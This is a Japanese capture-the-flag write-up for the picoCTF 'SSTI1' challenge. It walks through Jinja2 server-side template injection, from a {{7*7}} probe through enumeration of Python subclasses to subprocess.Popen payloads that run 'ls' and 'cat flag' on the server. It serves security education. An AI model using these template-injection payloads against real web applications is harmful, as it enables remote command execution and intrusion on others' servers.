【picoCTF】SSTI1 - Jinja系SSTIでPythonオブジェクトにアクセスしてフラグ奪取

問題概要

picoCTFの「SSTI1」という問題の解説記事です。

  • カテゴリ: Web Exploitation
  • 難易度: Easy

問題文

picoCTF SSTI1

解説

この問題では、与えられたウェブアプリケーションに対して攻撃を行い、隠されたフラグを見つけることが求められます。


ステップ1: 状況把握・アプリケーションの調査

まずは問題文と提供された情報を確認します。 注目すべきキーワードはtemplatingSSTI(Server-Side Template Injection)です。

提供されたURLにアクセスし、アプリケーションの挙動を確認します。

picoCTF SSTI1 App

フォームに入力を行い、送信ボタンを押すと、入力内容がそのまま表示されることがわかります。

picoCTF SSTI1 Input

ステップ2: SSTIの確認

次に、SSTIが存在するかどうかを確認します。 一般的なSSTIペイロードを試してみます。例えば、Jinja2テンプレートエンジンの場合、以下のようなペイロードを使用します。

{{7*7}}

フォームにこのペイロードを入力し、送信します。


picoCTF SSTI1 Payload

結果を確認すると、49と表示されました。これはSSTIが存在することを示しています。

picoCTF SSTI1 Result

ステップ3: フラグの取得

SSTIが存在することが確認できたため、次はこの脆弱性を利用してフラグを取得することを目指します。

SSTIでは、テンプレートエンジンを通じて サーバー側のオブジェクトや関数にアクセスできる可能性があります。 特に、Jinja2を使用している場合、Pythonの内部オブジェクトに到達できることが多く、 最終的にはOSコマンドの実行につながります。


ステップ3-1: Pythonオブジェクトへのアクセス確認

まずは、テンプレート内からPythonの内部オブジェクトにアクセスできるか確認します。 以下のペイロードを試してみます。

{{''.__class__}}
picoCTF SSTI1 Class Payload


結果を確認すると、<class 'str'>と表示されました。これは、Pythonの文字列クラスにアクセスできていることを示しています。
picoCTF SSTI1 Class Result

ステップ3-2: Python内部クラスの列挙

次に、Pythonのクラス継承関係を利用して、サーバー上でロードされている内部クラスの一覧を取得します。 以下のペイロードを試してみます。

{{''.__class__.__mro__[1].__subclasses__()}}

このペイロードは、

  • ''.__class__で文字列クラスを取得
  • .__mro__[1]でその親クラス(objectクラス)を取得
  • .__subclasses__()でそのクラスのサブクラスの一覧を取得 という動作を行います。

出力結果が非常に多く、かつ内容が長いため、スクリーンショットではなく以下のテキストで省略して結果を示します。

[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>,(...省略...) 

ステップ3-3: OSコマンド実行クラスの特定

次に、OSコマンドを実行できるクラスを特定します。 Pythonでは、subprocess.PopenクラスがOSコマンドの実行に使用されます。 上記のクラス一覧からsubprocess.Popenに対応するインデックスを特定します。
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if 'Popen' in c.__name__ %}
    {{ loop.index0 }} : {{ c }}
  {% endif %}
{% endfor %}
上記は、Popenクラスのインデックスを特定するためのペイロードです。
  • loop.index0は0から始まるインデックスを示します。
  • c.__name__はクラス名を示します。

結果を確認すると、subprocess.Popenクラスがインデックス356にあることがわかりました。
※インデックス番号は実行環境によって異なる場合があります。
picoCTF SSTI1 Popen Result

ステップ3-4: OSコマンドの実行確認

subprocess.Popenのインデックスが特定できたため、次にOSコマンドを実行できるか確認します。 以下のペイロードを試してみます。
※356はsubprocess.Popenのインデックスです。環境によって異なる場合があるので必要に応じて変更してください。
{{ ''.__class__.__mro__[1].__subclasses__()[356]('ls', shell=True, stdout=-1).communicate() }}

このペイロードでは

  • __subclasses__()[356]subprocess.Popenクラスを取得
  • lsを実行コマンドとして指定
  • stdout=-1で標準出力を取得
  • communicate()で実行結果を受け取る という処理を行っています。

ペイロードを送信し、結果を確認します。
※スクリーンショットではなく、以下のテキストで結果を示します。
(b'__pycache__\napp.py\nflag\nrequirements.txt\n', None)
結果にflagというファイルが含まれていることがわかります。これがフラグファイルです。

ステップ3-5: フラグの取得

最後に、フラグファイルの内容を取得します。以下のペイロードを試してみます。

{{ ''.__class__.__mro__[1].__subclasses__()[356]('cat flag', shell=True, stdout=-1).communicate() }}
このペイロードでは、cat flagコマンドを実行してフラグの内容を取得します。

ペイロードを送信し、結果を確認します。 ※スクリーンショットではなく、以下のテキストで結果を示します

(b'picoCTF{XXXXXX}\n', None)

フラグを取得できました。 ※フラグはマスクしています。


使用したコマンドの簡単な解説

{{7*7}}

{{7*7}}

Jinja2テンプレートエンジンにおける式評価の例です。7に7を掛けた結果を表示します。


{{''.__class__}}

{{''.__class__}}
Pythonの文字列クラスにアクセスするためのペイロードです。空文字列のクラスを取得します。 '' は空文字列ですが、Pythonでは文字列もオブジェクトです。 そのため ''.class とすることで、文字列の設計図である str クラスにアクセスできます。 このように、SSTIでは「確実に存在するオブジェクト」を起点として、 Pythonの内部構造へと段階的に侵入していきます。

{{''.__class__.__mro__[1].__subclasses__()}}

{{''.__class__.__mro__[1].__subclasses__()}}

Pythonのクラス継承関係を利用して、サーバー上でロードされている内部クラスの一覧を取得します。 このペイロードは、空文字列を起点として object クラスに到達し、 サーバー上で利用されているすべてのPythonクラスを列挙するものです。 SSTI攻撃では、この一覧からOSコマンド実行などに利用できるクラスを探します。


{{ ''.__class__.__mro__[1].__subclasses__()[356]('ls', shell=True, stdout=-1).communicate() }}

{{ ''.__class__.__mro__[1].__subclasses__()[356]('ls', shell=True, stdout=-1).communicate() }}

Pythonの subprocess.Popen クラスを利用して、OSコマンドを実行するペイロードです。 このペイロードでは、356番目のサブクラスとして特定された Popen クラスを使用して 'ls' コマンドを実行し、標準出力を取得します。


{{ ''.__class__.__mro__[1].__subclasses__()[356]('cat flag', shell=True, stdout=-1).communicate() }}

{{ ''.__class__.__mro__[1].__subclasses__()[356]('cat flag', shell=True, stdout=-1).communicate() }}

Pythonの subprocess.Popen クラスを利用して、フラグファイルの内容を取得するペイロードです。 このペイロードでは、356番目のサブクラスとして特定された Popen クラスを使用して 'cat flag' コマンドを実行し、フラグの内容を取得します。


まとめ

picoCTFの「SSTI1」問題では、SSTI脆弱性を利用してサーバー上のPythonオブジェクトにアクセスし、最終的にOSコマンドを実行してフラグを取得しました。 SSTI攻撃の基本的な手法と、Pythonの内部構造へのアクセス方法が求められる問題でした。
▼ポイントは以下の通りです。
  • SSTI脆弱性の確認には、テンプレートエンジン固有のペイロードを試す。
  • Pythonオブジェクトへのアクセスには、確実に存在するオブジェクトを起点とする。
  • クラス継承関係を利用して、サーバー上でロードされている内部クラスを列挙する。
  • OSコマンド実行には、subprocess.Popenクラスを利用する。

体系的に学びたい人へ(おすすめ書籍)

SSTIのようなWeb脆弱性は、CTFで「手を動かして理解」すると一気に腹落ちしますが、 一方で「なぜ脆弱性が生まれるのか」「どう設計・実装すれば防げるのか」を体系的に押さえると再現性が上がります。

気になる方は、以下の本が分かりやすかったです。

▼体系的に学ぶWebアプリケーションの作り方 第2版 脆弱性が生まれる原理と対策の実践


閲覧ありがとうございました!

NEXT
次におすすめ

【picoCTF】Cookie Monster Secret Recipe - ブラウザCookie改ざんで管理者レシピを盗み見る

カテゴリ: Web Exploitation難易度: Easy#picoCTF
次の記事へ →
同じカテゴリ/難易度/picoCTFでの表示順が近い記事を優先しておすすめしています。